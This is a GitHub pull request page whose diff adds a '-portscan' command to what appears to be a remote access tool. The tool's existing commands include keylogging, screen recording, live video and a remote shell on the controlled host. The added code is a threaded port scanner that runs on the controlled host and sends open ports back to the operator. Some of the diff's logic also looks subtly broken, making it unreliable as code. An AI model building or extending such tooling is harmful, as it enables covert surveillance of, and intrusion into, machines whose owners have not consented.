Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Added -portscan command #10

Merged
merged 2 commits into from
May 2, 2021
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Jump to
Jump to file
Failed to load files.
Diff view
Diff view
30 changes: 30 additions & 0 deletions bin/fragment.py
Original file line number Diff line number Diff line change
Expand Up @@ -775,6 +775,36 @@ def identify(self, command):
f'[@HOST_SHELL%@]An error was occurred'
else:
return f'[@HOST_SHELL%@]Not windows'

elif '-portscan' in command:
class port_scan:
def __init__(self):
self.open_ports = list()

def checking_port(self, host, port):
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
self.open_ports.append(f'{host}/{port} - Open\n')
except:
pass

def main(self):
try:
port_range = [0, 65536] if len(command.split()) == 1 else command.split()[1].split(':')
for port_num in range(int(port_range[0]), int(port_range[1])):
t = Thread(target=self.checking_port, args=(ip, port_num))
t.start()
return self.open_ports
except:
return 'Try again, use this syntax:\n\n-portscan int:int or -portscan'

start = port_scan()
a = start.main()
full = f'[@%HOST_SHELL%@]Open ports:\n\n' if not 'Try again' in a else f'[@%HOST_SHELL%@]'
for x in a:
full += x
return full

elif '-antivirus' in command:
if 'windows' in str(platform.platform()).lower():
Expand Down
22 changes: 19 additions & 3 deletions clientui/control.py
Original file line number Diff line number Diff line change
Expand Up @@ -1069,6 +1069,7 @@ def setupUi(self, MainWindow, hselected=None):
"-info Shows informations about host.\n",
"-fontsize <int> Sets the font size.\n",
"-history Shows the history of commands.\n",
"-portscan Shows all opened ports on host.\n"
"-updates Get a list of installed update (only windows)\n",
"-antivirus Lists the installed Antivirus on host (only windows).\n"
"-softwares Lists the installed softwares on host.\n",
Expand Down Expand Up @@ -1364,6 +1365,18 @@ def katana_shell(self):
f'{gcts}\nRequesting for update list, please wait.\n')
self.lineEdit_2.clear()

elif '-portscan' in self.lineEdit_2.text():
self.port_scan = self.lineEdit_2.text()
self.call_sc(port=True)
gcts = self.host_terminal.text()
if gcts == self.host_terminal.text():
self.host_terminal.setText(
f'Looking for opened ports, Please wait.\n')
else:
self.host_terminal.setText(
f'Looking for opened ports, Please wait.\n')
self.lineEdit_2.clear()

elif self.lineEdit_2.text() == '-antivirus':
self.call_sc(ant=True)
gcts = self.host_terminal.text()
Expand Down Expand Up @@ -1439,7 +1452,7 @@ def katana_shell(self):

def call_sc(self, btn_scr=False, sclk=False, sculk=False, coordinates=None, rec_start=False, rec_stop=False
, rec_get=False, st_strm=False, live_video=False, kl_start=False, kl_stop=False, kl_print=False,
soft_list=False, wget=False, wraw=False, ant=False, upd=False):
soft_list=False, wget=False, wraw=False, ant=False, upd=False, port=False):
"""
The call_sc is responsible to write the command to the STDIN file of host "/bin/request/transfer/stdout/<tag>"
and invoke the 'execute' "/bin/request/transfer/execute/<tag>" (if execute file is True the server will send the
Expand All @@ -1456,10 +1469,10 @@ def call_sc(self, btn_scr=False, sclk=False, sculk=False, coordinates=None, rec_
now = datetime.datetime.now()
now_minute = now.minute

if upd or ant or btn_scr or sclk or sculk or st_strm or soft_list or wget or wraw or kl_stop or kl_start or kl_print:
if port or upd or ant or btn_scr or sclk or sculk or st_strm or soft_list or wget or wraw or kl_stop or kl_start or kl_print:
current_call = 'ignore'

if not upd and not ant and not kl_start and not kl_stop and not kl_print and not soft_list and not wget and not wraw and not btn_scr and not sclk and not sculk\
if not port or not upd and not ant and not kl_start and not kl_stop and not kl_print and not soft_list and not wget and not wraw and not btn_scr and not sclk and not sculk\
and not st_strm:
if gotps == '' or gotps == ' ':
self.system_terminal.setText(f'>>> {current_call}\n')
Expand Down Expand Up @@ -1576,6 +1589,9 @@ def call_sc(self, btn_scr=False, sclk=False, sculk=False, coordinates=None, rec_
elif upd:
new_task.write('-update')

elif port:
new_task.write(self.port_scan)

elif ant:
new_task.write('-antivirus')

Expand Down